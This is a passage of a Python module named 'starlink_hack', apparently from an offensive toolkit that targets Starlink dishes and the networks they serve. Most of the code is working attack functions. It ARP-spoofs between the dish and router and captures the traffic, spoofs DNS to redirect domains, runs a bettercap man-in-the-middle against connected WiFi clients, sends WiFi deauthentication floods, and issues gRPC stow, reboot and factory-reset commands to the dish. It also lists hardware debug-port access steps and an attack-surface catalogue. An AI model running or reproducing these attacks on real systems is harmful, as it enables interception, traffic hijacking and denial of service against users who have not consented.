parts[1], }) else: # Manual signature scanning try: with open(firmware_path, 'rb') as f: data = f.read(min(stat.st_size, 10 * 1024 * 1024)) result['signatures'] = self._scan_firmware_signatures(data) except Exception as e: result['signatures'] = [{'error': str(e)}] # Extract interesting strings strings_tool = find_tool('strings') if strings_tool: ok, output = self._run_cmd_list([strings_tool, '-n', '8', firmware_path], timeout=60) if ok: interesting_patterns = [ r'(?i)password', r'(?i)secret', r'(?i)token', r'(?i)api.?key', r'(?i)starlink', r'(?i)spacex', r'(?i)firmware', r'(?i)version\s*[\d.]', r'(?i)debug', r'(?i)root', r'(?i)ssh', r'(?i)uart', r'(?i)jtag', r'(?i)bootloader', r'(?i)u-boot', r'(?i)linux', r'(?i)kernel', r'(?i)mount\s', r'/dev/', r'/etc/', r'/proc/', r'http[s]?://', r'\d+\.\d+\.\d+\.\d+', ] for line in output.splitlines(): line = line.strip() if any(re.search(pat, line) for pat in interesting_patterns): result['strings_of_interest'].append(line) if len(result['strings_of_interest']) >= 200: break else: try: with open(firmware_path, 'rb') as f: data = f.read(min(stat.st_size, 5 * 1024 * 1024)) result['strings_of_interest'] = self._extract_strings(data, min_len=8, max_results=200) except Exception as e: result['strings_of_interest'] = [f'Error: {e}'] # Entropy analysis (detect encrypted/compressed sections) try: with open(firmware_path, 'rb') as f: data = f.read(min(stat.st_size, 5 * 1024 * 1024)) block_size = max(1024, len(data) // 256) entropy_values = [] for i in range(0, len(data), block_size): block = data[i:i + block_size] ent = self._calculate_entropy(block) entropy_values.append({'offset': i, 'entropy': round(ent, 4)}) avg_entropy = sum(e['entropy'] for e in entropy_values) / max(len(entropy_values), 1) result['entropy_analysis'] = { 'average': round(avg_entropy, 4), 'max': round(max((e['entropy'] for e in entropy_values), default=0), 4), 'min': round(min((e['entropy'] for e in entropy_values), default=0), 4), 'block_count': len(entropy_values), 'block_size': block_size, 'high_entropy_blocks': sum(1 for e in entropy_values if e['entropy'] > 7.5), 'likely_encrypted': avg_entropy > 7.8, 'likely_compressed': 7.0 < avg_entropy <= 7.8, } except Exception as e: result['entropy_analysis'] = {'error': str(e)} result['ok'] = True result['signature_count'] = len(result['signatures']) result['interesting_strings_count'] = len(result['strings_of_interest']) self._save_snapshot('firmware_analysis', result) self._log_result('firmware', 'analyze_firmware', result) return result def check_firmware_version(self) -> Dict[str, Any]: """Compare running version against known vulnerable versions.""" info = self.get_dish_info() result: Dict[str, Any] = { 'timestamp': datetime.now(timezone.utc).isoformat(), 'dish_ip': self._dish_ip, 'vulnerable': False, 'vulnerabilities': [], } if not info.get('ok'): result['ok'] = False result['error'] = info.get('error', 'Could not retrieve firmware version') return result sw_version = info.get('software_version', 'unknown') hw_version = info.get('hardware_version', 'unknown') result['software_version'] = sw_version result['hardware_version'] = hw_version # Check against known vulnerable firmware versions matched_cves = KNOWN_VULNERABLE_VERSIONS.get(sw_version, []) if matched_cves: result['vulnerable'] = True for cve_id in matched_cves: for cve in STARLINK_CVES: if cve['cve'] == cve_id: result['vulnerabilities'].append(cve) break # Determine firmware age relative to our database all_versions = sorted(KNOWN_VULNERABLE_VERSIONS.keys()) if all_versions and sw_version != 'unknown': try: if sw_version <= all_versions[-1]: result['version_age'] = 'potentially_outdated' else: result['version_age'] = 'newer_than_known_database' except Exception: result['version_age'] = 'unknown' result['hardware_note'] = ( 'All Starlink UT hardware revisions are potentially vulnerable to ' 'voltage fault injection attacks (CVE-2022-29953) unless SpaceX has ' 'deployed hardware-level mitigations in newer board revisions.' ) result['ok'] = True self._save_snapshot('firmware_check', result) self._log_result('firmware', 'check_firmware_version', result) return result def find_debug_interfaces(self) -> Dict[str, Any]: """Scan for UART, JTAG, SWD debug ports. Requires physical access and adapters.""" result: Dict[str, Any] = { 'timestamp': datetime.now(timezone.utc).isoformat(), 'serial_ports': [], 'jtag_detected': False, 'openocd_available': False, } # List serial ports try: import serial.tools.list_ports ports = list(serial.tools.list_ports.comports()) for p in ports: port_info: Dict[str, Any] = { 'device': p.device, 'description': p.description, 'hwid': p.hwid, 'vid_pid': f'{p.vid:04x}:{p.pid:04x}' if p.vid and p.pid else 'N/A', 'manufacturer': p.manufacturer or 'unknown', } result['serial_ports'].append(port_info) except ImportError: result['serial_error'] = 'pyserial not installed' # Check for JTAG adapters (FTDI, J-Link, Olimex, ARM DAPLink) jtag_vids = ['0403', '1366', '15ba', '0d28'] for port in result['serial_ports']: vid_pid = port.get('vid_pid', '') if any(vid in vid_pid.lower() for vid in jtag_vids): result['jtag_detected'] = True port['possible_jtag'] = True # Check for OpenOCD openocd = find_tool('openocd') result['openocd_available'] = openocd is not None result['instructions'] = { 'uart': { 'description': 'Starlink UT UART debug interface', 'settings': '115200 baud, 8N1, 3.3V logic', 'location': 'Debug pads on UT mainboard (requires disassembly)', 'tools_needed': 'USB-UART adapter (FTDI, CP2102, CH340)', 'commands': [ 'screen /dev/ttyUSB0 115200', 'minicom -D /dev/ttyUSB0 -b 115200', 'picocom -b 115200 /dev/ttyUSB0', ], }, 'jtag': { 'description': 'JTAG/SWD debug interface on SoC', 'tools_needed': 'J-Link, OpenOCD, or compatible JTAG adapter', 'notes': ( 'Starlink UT uses a custom SoC. JTAG pins may be ' 'disabled or locked in production firmware. Check for ' 'test pads near the main processor.' ), }, 'voltage_glitch': { 'description': 'Voltage fault injection (CVE-2022-29953)', 'tools_needed': 'Custom modchip or FPGA with voltage glitch capability', 'reference': 'https://github.com/KULeuven-COSIC/Starlink-FI', 'notes': ( 'Requires soldering to the UT mainboard and precise ' 'timing of voltage glitch during SoC boot sequence.' ), }, } result['ok'] = True self._log_result('firmware', 'find_debug_interfaces', result) return result # ── Network Exploitation ──────────────────────────────────────────────── def intercept_traffic(self, target_ip: str = None, interface: str = None) -> Dict[str, Any]: """ARP spoofing between dish and router to intercept traffic.""" with self._intercept_lock: if self._intercept_running: return {'ok': False, 'error': 'Traffic interception already running'} dish = self._dish_ip gateway = target_ip or STARLINK_INFO['default_network']['router_ip'] arpspoof = find_tool('arpspoof') ettercap = find_tool('ettercap') if not arpspoof and not ettercap: return { 'ok': False, 'error': ( 'No ARP spoofing tool found. Install dsniff (arpspoof) or ettercap. ' 'Debian/Ubuntu: apt install dsniff | macOS: brew install dsniff' ), } result: Dict[str, Any] = { 'timestamp': datetime.now(timezone.utc).isoformat(), 'dish_ip': dish, 'gateway_ip': gateway, } # Enable IP forwarding on Linux ip_forward_path = '/proc/sys/net/ipv4/ip_forward' if os.path.exists(ip_forward_path): try: with open(ip_forward_path, 'w') as f: f.write('1') result['ip_forwarding'] = True except PermissionError: ok, _ = self._run_cmd('sysctl -w net.ipv4.ip_forward=1') result['ip_forwarding'] = ok try: if arpspoof: iface_args = ['-i', interface] if interface else [] cmd = [arpspoof] + iface_args + ['-t', dish, gateway] self._intercept_process = subprocess.Popen( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) result['tool'] = 'arpspoof' else: iface_args = ['-i', interface] if interface else [] cmd = [ettercap, '-T', '-q', '-M', 'arp:remote'] + iface_args + \ [f'/{dish}//', f'/{gateway}//'] self._intercept_process = subprocess.Popen( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) result['tool'] = 'ettercap' with self._intercept_lock: self._intercept_running = True result['ok'] = True result['status'] = 'running' result['pid'] = self._intercept_process.pid # Start packet capture in background tcpdump = find_tool('tcpdump') if tcpdump: cap_file = str(self._captures_dir / f'intercept_{int(time.time())}.pcap') cap_iface = ['-i', interface] if interface else [] tcpdump_cmd = [tcpdump] + cap_iface + [ '-w', cap_file, '-c', '10000', 'host', dish, ] subprocess.Popen(tcpdump_cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) result['capture_file'] = cap_file except Exception as e: result['ok'] = False result['error'] = f'Failed to start interception: {e}' self._log_result('network', 'intercept_traffic', result) return result def stop_intercept(self) -> Dict[str, Any]: """Stop traffic interception.""" with self._intercept_lock: if not self._intercept_running: return {'ok': True, 'message': 'No interception running'} if self._intercept_process: try: self._intercept_process.terminate() self._intercept_process.wait(timeout=5) except Exception: try: self._intercept_process.kill() except Exception: pass self._intercept_process = None self._intercept_running = False return {'ok': True, 'message': 'Traffic interception stopped'} def dns_spoof(self, domain: str, ip: str, interface: str = None) -> Dict[str, Any]: """DNS spoofing on the Starlink network to redirect a domain to a specified IP.""" result: Dict[str, Any] = { 'timestamp': datetime.now(timezone.utc).isoformat(), 'domain': domain, 'spoof_ip': ip, } dnsspoof = find_tool('dnsspoof') ettercap = find_tool('ettercap') if not dnsspoof and not ettercap: return { 'ok': False, 'error': 'No DNS spoofing tool found. Install dsniff (dnsspoof) or ettercap.', } # Create hosts file for dnsspoof hosts_file = self._data_dir / 'dns_spoof_hosts.txt' with open(hosts_file, 'w') as f: f.write(f'{ip}\t{domain}\n') f.write(f'{ip}\t*.{domain}\n') try: if dnsspoof: cmd = [dnsspoof] if interface: cmd.extend(['-i', interface]) cmd.extend(['-f', str(hosts_file)]) self._dns_spoof_process = subprocess.Popen( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) result['tool'] = 'dnsspoof' else: etter_dns = self._data_dir / 'etter.dns' with open(etter_dns, 'w') as f: f.write(f'{domain}\tA\t{ip}\n') f.write(f'*.{domain}\tA\t{ip}\n') cmd = [ettercap, '-T', '-q', '-P', 'dns_spoof'] if interface: cmd.extend(['-i', interface]) cmd.append('///') env = dict(os.environ) env['ETTERCAP_DNS_FILE'] = str(etter_dns) self._dns_spoof_process = subprocess.Popen( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env, ) result['tool'] = 'ettercap' result['ok'] = True result['status'] = 'running' result['pid'] = self._dns_spoof_process.pid result['hosts_file'] = str(hosts_file) except Exception as e: result['ok'] = False result['error'] = f'Failed to start DNS spoofing: {e}' self._log_result('network', 'dns_spoof', result) return result def stop_dns_spoof(self) -> Dict[str, Any]: """Stop DNS spoofing.""" with self._dns_spoof_lock: if self._dns_spoof_process: try: self._dns_spoof_process.terminate() self._dns_spoof_process.wait(timeout=5) except Exception: try: self._dns_spoof_process.kill() except Exception: pass self._dns_spoof_process = None return {'ok': True, 'message': 'DNS spoofing stopped'} return {'ok': True, 'message': 'No DNS spoofing running'} def mitm_clients(self, interface: str = None) -> Dict[str, Any]: """MITM attack on connected WiFi clients using ARP spoofing.""" result: Dict[str, Any] = { 'timestamp': datetime.now(timezone.utc).isoformat(), } # Get client list first net_info = self.get_network_info() clients = net_info.get('wifi_clients', []) if not clients: result['ok'] = False result['error'] = 'No WiFi clients found to target' return result result['target_clients'] = clients mitmproxy = find_tool('mitmproxy') bettercap = find_tool('bettercap') if not mitmproxy and not bettercap: result['ok'] = False result['error'] = ( 'No MITM tool found. Install mitmproxy or bettercap. ' 'pip install mitmproxy | apt install bettercap' ) return result # Enable IP forwarding if os.path.exists('/proc/sys/net/ipv4/ip_forward'): self._run_cmd('sysctl -w net.ipv4.ip_forward=1') if bettercap: caplet_file = self._data_dir / 'starlink_mitm.cap' with open(caplet_file, 'w') as f: f.write('net.probe on\n') f.write('set arp.spoof.fullduplex true\n') client_ips = [c['ip'] for c in clients if c.get('ip') and c['ip'] != 'unknown'] if client_ips: f.write(f'set arp.spoof.targets {",".join(client_ips)}\n') f.write('arp.spoof on\n') f.write('net.sniff on\n') cmd = [bettercap, '--caplet', str(caplet_file)] if interface: cmd.extend(['-iface', interface]) try: proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) result['ok'] = True result['tool'] = 'bettercap' result['pid'] = proc.pid result['status'] = 'running' except Exception as e: result['ok'] = False result['error'] = f'Failed to start bettercap: {e}' else: cmd = [mitmproxy, '--mode', 'transparent', '--showhost'] try: proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) result['ok'] = True result['tool'] = 'mitmproxy' result['pid'] = proc.pid result['status'] = 'running' result['note'] = 'Configure iptables to redirect traffic to mitmproxy port 8080' except Exception as e: result['ok'] = False result['error'] = f'Failed to start mitmproxy: {e}' self._log_result('network', 'mitm_clients', result) return result def deauth_clients(self, target_mac: str = None, interface: str = None) -> Dict[str, Any]: """Deauth WiFi clients from the Starlink router.""" result: Dict[str, Any] = { 'timestamp': datetime.now(timezone.utc).isoformat(), } aireplay = find_tool('aireplay-ng') mdk4 = find_tool('mdk4') if not aireplay and not mdk4: result['ok'] = False result['error'] = ( 'No deauth tool found. Install aircrack-ng suite or mdk4. ' 'apt install aircrack-ng mdk4' ) return result if not interface: # Try to find a wireless interface (prefer monitor mode) ok, output = self._run_cmd('iw dev') if ok: mon_match = re.search(r'Interface\s+(\w+mon\w*)', output) if mon_match: interface = mon_match.group(1) else: iface_match = re.search(r'Interface\s+(\w+)', output) if iface_match: interface = iface_match.group(1) result['warning'] = f'Using {interface} - may need monitor mode first' else: result['ok'] = False result['error'] = 'No wireless interface found. Specify interface parameter.' return result try: if aireplay: cmd = [aireplay, '-0', '10'] # 10 deauth packets if target_mac: cmd.extend(['-c', target_mac]) cmd.append(interface) proc = subprocess.run(cmd, capture_output=True, text=True, timeout=30) result['ok'] = proc.returncode == 0 result['output'] = proc.stdout.strip() result['tool'] = 'aireplay-ng' else: if target_mac: target_file = self._data_dir / 'deauth_targets.txt' with open(target_file, 'w') as f: f.write(f'{target_mac}\n') cmd = [mdk4, interface, 'd', '-b', str(target_file)] else: cmd = [mdk4, interface, 'd'] proc = subprocess.run(cmd, capture_output=True, text=True, timeout=30) result['ok'] = proc.returncode == 0 result['output'] = proc.stdout.strip() result['tool'] = 'mdk4' result['status'] = 'deauth_sent' result['target'] = target_mac or 'broadcast' result['interface'] = interface except subprocess.TimeoutExpired: result['ok'] = True result['status'] = 'deauth_sent' result['note'] = 'Deauth packets sent (command timed out as expected)' except Exception as e: result['ok'] = False result['error'] = f'Deauth failed: {e}' self._log_result('network', 'deauth_clients', result) return result # ── gRPC API Exploitation ─────────────────────────────────────────────── def grpc_enumerate(self, host: str = None, port: int = None) -> Dict[str, Any]: """Enumerate all available gRPC methods on the dish via reflection or known DB.""" target_host = host or self._dish_ip target_port = port or self._grpc_port result: Dict[str, Any] = { 'timestamp': datetime.now(timezone.utc).isoformat(), 'host': target_host, 'port': target_port, 'services': [], 'methods': [], 'reflection_available': False, } grpcurl = find_tool('grpcurl') if grpcurl: # Try server reflection to list services ok, output = self._run_cmd_list( [grpcurl, '-plaintext', f'{target_host}:{target_port}', 'list'], timeout=10, ) if ok and output: result['reflection_available'] = True services = [s.strip() for s in output.splitlines() if s.strip()] result['services'] = services # List methods for each service for service in services: ok_m, methods_out = self._run_cmd_list( [grpcurl, '-plaintext', f'{target_host}:{target_port}', 'list', service], timeout=10, ) if ok_m: for method_line in methods_out.splitlines(): method_name = method_line.strip() if method_name: result['methods'].append({ 'service': service, 'method': method_name, }) result['ok'] = True else: # Reflection failed or not available - return known methods result['methods'] = STARLINK_GRPC_METHODS result['ok'] = True result['source'] = 'known_database' result['note'] = f'gRPC reflection not available. Error: {output}' else: # No grpcurl - return known methods from database result['methods'] = STARLINK_GRPC_METHODS result['ok'] = True result['source'] = 'known_database' result['note'] = ( 'grpcurl not installed. Showing known Starlink gRPC methods. ' 'Install grpcurl: https://github.com/fullstorydev/grpcurl' ) result['method_count'] = len(result['methods']) self._save_snapshot('grpc_enum', result) self._log_result('grpc', 'grpc_enumerate', result) return result def grpc_call(self, method: str, params: Optional[Dict] = None) -> Dict[str, Any]: """Make arbitrary gRPC calls to dish.""" result: Dict[str, Any] = { 'timestamp': datetime.now(timezone.utc).isoformat(), 'dish_ip': self._dish_ip, 'method': method, 'params': params, } resp = self._grpc_request(method, params) result['ok'] = resp.get('ok', False) if resp.get('ok'): result['response'] = resp.get('data', {}) else: result['error'] = resp.get('error', 'gRPC call failed') self._log_result('grpc', 'grpc_call', result) return result def stow_dish(self) -> Dict[str, Any]: """Send stow command via gRPC (moves dish to stowed/parked position).""" resp = self._grpc_request('dish_stow', params={'dishStow': {}}) result: Dict[str, Any] = { 'timestamp': datetime.now(timezone.utc).isoformat(), 'action': 'stow', } if resp.get('ok') or 'error' not in resp.get('data', {}): result['ok'] = True result['message'] = 'Stow command sent - dish will point straight up' else: result['ok'] = False result['error'] = resp.get('error', 'Stow command failed') self._log_result('grpc', 'stow_dish', result) return result def unstow_dish(self) -> Dict[str, Any]: """Send unstow command via gRPC (moves dish to operational position).""" resp = self._grpc_request('dish_stow', params={'dishStow': {'unstow': True}}) result: Dict[str, Any] = { 'timestamp': datetime.now(timezone.utc).isoformat(), 'action': 'unstow', } if resp.get('ok') or 'error' not in resp.get('data', {}): result['ok'] = True result['message'] = 'Unstow command sent - dish will resume satellite tracking' else: result['ok'] = False result['error'] = resp.get('error', 'Unstow command failed') self._log_result('grpc', 'unstow_dish', result) return result def reboot_dish(self) -> Dict[str, Any]: """Reboot the dish via gRPC.""" resp = self._grpc_request('reboot', params={'reboot': {}}) result: Dict[str, Any] = { 'timestamp': datetime.now(timezone.utc).isoformat(), 'action': 'reboot', } if resp.get('ok') or 'error' not in resp.get('data', {}): result['ok'] = True result['message'] = 'Reboot command sent - dish will restart (takes ~2 minutes)' else: result['ok'] = False result['error'] = resp.get('error', 'Reboot command failed') self._log_result('grpc', 'reboot_dish', result) return result def factory_reset(self, confirm: bool = False) -> Dict[str, Any]: """Factory reset via gRPC. Requires explicit confirmation.""" if not confirm: return { 'ok': False, 'error': 'Factory reset requires confirm=True as a safety measure.', 'warning': 'This will erase ALL dish configuration including WiFi settings.', } resp = self._grpc_request('factory_reset', params={'factoryReset': {}}) result: Dict[str, Any] = { 'timestamp': datetime.now(timezone.utc).isoformat(), 'action': 'factory_reset', } if resp.get('ok') or 'error' not in resp.get('data', {}): result['ok'] = True result['message'] = 'Factory reset command sent - all settings will be erased' result['warning'] = 'The dish will reboot and require full reconfiguration' else: result['ok'] = False result['error'] = resp.get('error', 'Factory reset command failed') self._log_result('grpc', 'factory_reset', result) return result # ── RF Analysis ───────────────────────────────────────────────────────── def analyze_downlink(self, duration: int = 30, device: str = 'hackrf') -> Dict[str, Any]: """Ku-band downlink analysis (10.7-12.7 GHz) if SDR available.""" result: Dict[str, Any] = { 'timestamp': datetime.now(timezone.utc).isoformat(), 'band': 'Ku-band downlink', 'freq_range': '10.7-12.7 GHz', } hackrf_sweep = find_tool('hackrf_sweep') rtl_power = find_tool('rtl_power') if not hackrf_sweep and not rtl_power: result['ok'] = False result['error'] = ( 'No suitable SDR tool found. Ku-band analysis requires a wideband SDR ' '(HackRF One with downconverter, or Ku-band LNB + RTL-SDR).' ) result['alternatives'] = { 'lnb_method': ( 'Use a Ku-band LNB to shift 10.7-12.7 GHz down to L-band ' '(950-2150 MHz), then capture with RTL-SDR.' ), 'hackrf_method': ( 'HackRF One covers up to 6 GHz natively. For Ku-band, use a ' 'commercial downconverter.' ), } # Fall back to dish diagnostic data as a proxy status = self.get_dish_status() if status.get('ok'): result['dish_diagnostics'] = { 'downlink_throughput_bps': status.get('downlink_throughput_bps', 0), 'pop_ping_latency_ms': status.get('pop_ping_latency_ms', 0), 'obstruction_pct': status.get('obstruction', {}).get('fraction_obstructed', 0), 'snr_above_noise_floor': status.get('snr_above_noise_floor', False), } result['ok'] = True result['source'] = 'dish_diagnostics' self._log_result('rf', 'analyze_downlink', result) return result output_file = str(self._captures_dir / f'downlink_sweep_{int(time.time())}.csv') if hackrf_sweep and device == 'hackrf': # Sweep L-band output from a Ku-band LNB (950-2150 MHz) cmd = [ hackrf_sweep, '-f', '950:2150', '-w', '500000', '-l', '32', '-g', '32', '-N', str(duration), '-r', output_file, ] ok, output = self._run_cmd_list(cmd, timeout=duration + 30) elif rtl_power: cmd = [ rtl_power, '-f', '950M:2150M:1M', '-g', '49.6', '-i', str(duration), '-1', output_file, ] ok, output = self._run_cmd_list(cmd, timeout=duration + 30) else: ok = False output = 'No tool available' if ok: result['ok'] = True result['capture_file'] = output_file result['tool'] = 'hackrf_sweep' if hackrf_sweep and device == 'hackrf' else 'rtl_power' # Parse sweep data for summary try: sweep_data = [] with open(output_file, 'r') as f: for line in f: parts = line.strip().split(',') if len(parts) >= 7: try: freq_low = int(parts[2]) freq_high = int(parts[3]) powers = [float(p) for p in parts[6:] if p.strip()] if powers: sweep_data.append({ 'freq_low_hz': freq_low, 'freq_high_hz': freq_high, 'avg_power_db': round(sum(powers) / len(powers), 2), 'peak_power_db': round(max(powers), 2), }) except (ValueError, IndexError): continue result['sweep_points'] = len(sweep_data) result['sweep_summary'] = sweep_data[:50] except Exception as e: result['parse_note'] = f'Could not parse sweep data: {e}' result['note'] = ( 'If using a Ku-band LNB, add the LNB LO frequency ' '(typically 9.75 GHz or 10.6 GHz) to get actual Ku-band frequency.' ) else: result['ok'] = False result['error'] = f'Sweep failed: {output}' self._save_snapshot('downlink_analysis', result) self._log_result('rf', 'analyze_downlink', result) return result def analyze_uplink(self, duration: int = 30) -> Dict[str, Any]: """Ka-band uplink analysis (14.0-14.5 GHz). Requires specialized equipment.""" result: Dict[str, Any] = { 'timestamp': datetime.now(timezone.utc).isoformat(), 'band': 'Ka-band uplink', 'freq_range': '14.0-14.5 GHz', 'ok': True, 'source': 'info_only', 'info': { 'frequency_range': '14.0-14.5 GHz', 'polarization': 'Circular (RHCP/LHCP)', 'modulation': 'OFDM (Orthogonal Frequency Division Multiplexing)', 'power_output': 'Approximately 2-4 watts EIRP', 'beam_steering': 'Phased array with electronic beam steering', }, 'equipment_needed': [ 'Ka-band downconverter or mixer', 'Ka-band horn antenna or dish with Ka-band feed', 'High-bandwidth oscilloscope or spectrum analyzer', 'Low-noise amplifier (LNA) for Ka-band', ], } # Get uplink stats from dish diagnostics status = self.get_dish_status() if status.get('ok'): result['dish_uplink_data'] = { 'uplink_throughput_bps': status.get('uplink_throughput_bps', 0), } self._log_result('rf', 'analyze_uplink', result) return result def detect_jamming(self) -> Dict[str, Any]: """Check for signal jamming indicators via dish diagnostics and RF analysis.""" result: Dict[str, Any] = { 'timestamp': datetime.now(timezone.utc).isoformat(), 'jamming_detected': False, 'indicators': [], 'confidence': 'none', } status = self.get_dish_status() if not status.get('ok'): result['ok'] = False result['error'] = 'Could not get dish status for jamming analysis' return result alerts = status.get('alerts', []) obstruction = status.get('obstruction', {}) pop_drop_rate = status.get('pop_ping_drop_rate', 0) latency = status.get('pop_ping_latency_ms', 0) downlink = status.get('downlink_throughput_bps', 0) snr_ok = status.get('snr_above_noise_floor', True) # Analyze indicators if not snr_ok: result['indicators'].append({ 'type': 'snr_below_floor', 'detail': 'SNR is below noise floor - strong jamming indicator', 'severity': 'high', }) result['jamming_detected'] = True if pop_drop_rate > 0.5: result['indicators'].append({ 'type': 'high_drop_rate', 'detail': f'PoP ping drop rate: {pop_drop_rate * 100:.1f}% (normal < 5%)', 'severity': 'high', }) result['jamming_detected'] = True if latency > 200: result['indicators'].append({ 'type': 'high_latency', 'detail': f'PoP ping latency: {latency:.0f}ms (normal 20-60ms)', 'severity': 'medium', }) if downlink < 1000 and downlink >= 0: result['indicators'].append({ 'type': 'low_throughput', 'detail': f'Downlink throughput: {downlink} bps (suspiciously low)', 'severity': 'high', }) if pop_drop_rate > 0.3: result['jamming_detected'] = True if obstruction.get('currently_obstructed') and obstruction.get('fraction_obstructed', 0) > 50: result['indicators'].append({ 'type': 'excessive_obstruction', 'detail': f'Obstruction: {obstruction["fraction_obstructed"]:.1f}% (may indicate interference)', 'severity': 'medium', }) if 'motorsStuck' in alerts: result['indicators'].append({ 'type': 'motors_stuck', 'detail': 'Motors stuck alert - dish cannot track satellite', 'severity': 'medium', }) # Set confidence level high_count = sum(1 for i in result['indicators'] if i['severity'] == 'high') med_count = sum(1 for i in result['indicators'] if i['severity'] == 'medium') if high_count >= 2: result['confidence'] = 'high' elif high_count >= 1 or med_count >= 2: result['confidence'] = 'medium' elif med_count >= 1: result['confidence'] = 'low' result['ok'] = True result['recommendation'] = ( 'If jamming is suspected, check for nearby RF sources in the Ku-band ' '(10.7-12.7 GHz) using a spectrum analyzer. Common sources include ' 'radar systems, satellite uplinks, and intentional jammers.' ) self._log_result('rf', 'detect_jamming', result) return result # ── Known Vulnerabilities ─────────────────────────────────────────────── def check_known_cves(self) -> Dict[str, Any]: """Check against known Starlink CVEs and return the full database.""" result: Dict[str, Any] = { 'timestamp': datetime.now(timezone.utc).isoformat(), 'cves': STARLINK_CVES, 'total': len(STARLINK_CVES), 'ok': True, } # Cross-reference with dish info if available sw_ver = self._dish_info_cache.get('software_version') or self._dish_info_cache.get('firmware') if sw_ver: result['current_firmware'] = sw_ver result['applicable_cves'] = [] matched = KNOWN_VULNERABLE_VERSIONS.get(sw_ver, []) for cve_id in matched: for cve in STARLINK_CVES: if cve['cve'] == cve_id: result['applicable_cves'].append(cve) break result['applicable_count'] = len(result['applicable_cves']) return result def get_exploit_database(self) -> Dict[str, Any]: """Return comprehensive database of known Starlink vulnerabilities and exploit techniques.""" return { 'ok': True, 'timestamp': datetime.now(timezone.utc).isoformat(), 'cves': STARLINK_CVES, 'known_vulnerable_versions': KNOWN_VULNERABLE_VERSIONS, 'grpc_methods': STARLINK_GRPC_METHODS, 'attack_surface': { 'network': [ 'gRPC API (port 9200) - unauthenticated in older firmware', 'HTTP API (port 80) - status and configuration', 'WiFi (2.4/5 GHz) - WPA2/WPA3 attacks', 'ARP spoofing - MITM between dish and clients', 'DNS spoofing - redirect traffic on LAN', 'Firmware update MITM - intercept update channel', ], 'hardware': [ 'UART debug console - root shell access', 'JTAG/SWD - SoC debug and memory extraction', 'Voltage fault injection - bypass secure boot', 'Bus snooping - SPI/I2C/eMMC interception', 'Side-channel analysis - power, EM emanations', ], 'rf': [ 'Ku-band downlink interception (10.7-12.7 GHz)', 'Ka-band uplink analysis (14.0-14.5 GHz)', 'Signal jamming / denial of service', 'WiFi deauthentication attacks', ], 'software': [ 'Firmware extraction and reverse engineering', 'Custom firmware injection via fault injection', 'gRPC service enumeration and fuzzing', 'Authentication bypass on older firmware', ], }, 'research_references': [ { 'title': 'Glitched on Earth by Humans', 'authors': 'Lennert Wouters (KU Leuven COSIC)', 'url': 'https://www.usenix.org/conference/usenixsecurity23/presentation/wouters', 'summary': 'Voltage fault injection on Starlink UT to bypass secure boot', }, { 'title': 'Reverse engineering the Starlink user terminal', 'authors': 'Oleg Kutkov', 'url': 'https://olegkutkov.me/2023/12/20/reverse-engineering-starlink-user-terminal/', 'summary': 'Teardown and analysis of Starlink UT hardware and gRPC API', }, { 'title': 'LEO Satellite Security: Challenges and Opportunities', 'authors': 'Various researchers', 'url': 'https://arxiv.org/abs/2304.09523', 'summary': 'Academic analysis of LEO satellite constellation security', }, ], } # ── Utility ───────────────────────────────────────────────────────────── def get_status(self) -> Dict[str, Any]: """Overall module status and tool availability.""" nmap = find_tool('nmap') grpcurl = find_tool('grpcurl') arpspoof = find_tool('arpspoof') tcpdump = find_tool('tcpdump') hackrf_sweep = find_tool('hackrf_sweep') binwalk_tool = find_tool('binwalk') try: import grpc as grpc_lib # noqa: F401 grpc_python = True except ImportError: grpc_python = False return { 'module': 'starlink_hack', 'version': VERSION, 'category': CATEGORY, 'dish_ip': self._dish_ip, 'grpc_port': self._grpc_port, 'tools': { 'nmap': bool(nmap), 'grpcurl': bool(grpcurl), 'grpc_python': grpc_python, 'arpspoof': bool(arpspoof), 'tcpdump': bool(tcpdump), 'hackrf_sweep': bool(hackrf_sweep), 'binwalk': bool(binwalk_tool), }, 'data_dir': str(self._data_dir), 'results_count': len(self._results_log), 'cached_dish_status': bool(self._dish_status_cache), 'cached_dish_info': bool(self._dish_info_cache), 'intercept_running': self._intercept_running, } def export_results(self, path: str = None) -> Dict[str, Any]: """Export all findings to JSON.""" if path is None: path = str(self._results_dir / f'starlink_export_{int(time.time())}.json') export_data = { 'export_timestamp': datetime.now(timezone.utc).isoformat(), 'module': 'starlink_hack', 'version': VERSION, 'dish_ip': self._dish_ip, 'dish_status': self._dish_status_cache, 'dish_info': self._dish_info_cache, 'network_info': self._network_cache, 'scan_results': self._scan_results, 'results_log': self._results_log, 'cve_database': STARLINK_CVES, } try: output_path = Path(path) output_path.parent.mkdir(parents=True, exist_ok=True) with open(output_path, 'w') as f: json.dump(export_data, f, indent=2, default=str) file_size = output_path.stat().st_size return { 'ok': True, 'path': str(output_path), 'size': file_size, 'size_human': self._human_size(file_size), 'entries': len(self._results_log), } except Exception as e: return {'ok': False, 'error': f'Export failed: {e}'} # ── Singleton ──────────────────────────────────────────────────────────────── _instance = None def get_starlink_hack() -> StarlinkHack: global _instance if _instance is None: _instance = StarlinkHack() return _instance # ── CLI Interface ──────────────────────────────────────────────────────────── def run(): """CLI entry point for Starlink hack module.""" import sys sys.path.insert(0, str(Path(__file__).parent.parent)) from core.banner import Colors, clear_screen, display_banner sl = get_starlink_hack() while True: clear_screen() display_banner() print(f"\n{Colors.RED}{'=' * 60}{Colors.RESET}") print(f"{Colors.RED} STARLINK TERMINAL SECURITY ANALYSIS{Colors.RESET}") print(f"{Colors.RED}{'=' * 60}{Colors.RESET}") print(f"\n Target dish: {Colors.YELLOW}{sl._dish_ip}{Colors.RESET}") print(f"\n {Colors.BOLD}Discovery & Enumeration{Colors.RESET}") print(f" 1) Discover dish on network") print(f" 2) Get dish status") print(f" 3) Get device info") print(f" 4) Get network info / WiFi clients") print(f" 5) Port scan dish") print(f"\n {Colors.BOLD}gRPC Exploitation{Colors.RESET}") print(f" 6) Enumerate gRPC methods") print(f" 7) Custom gRPC call") print(f" 8) Stow dish") print(f" 9) Unstow dish") print(f" 10) Reboot dish") print(f"\n {Colors.BOLD}Network Attacks{Colors.RESET}") print(f" 11) Intercept traffic (ARP spoof)") print(f" 12) DNS spoofing") print(f" 13) Deauth WiFi clients") print(f"\n 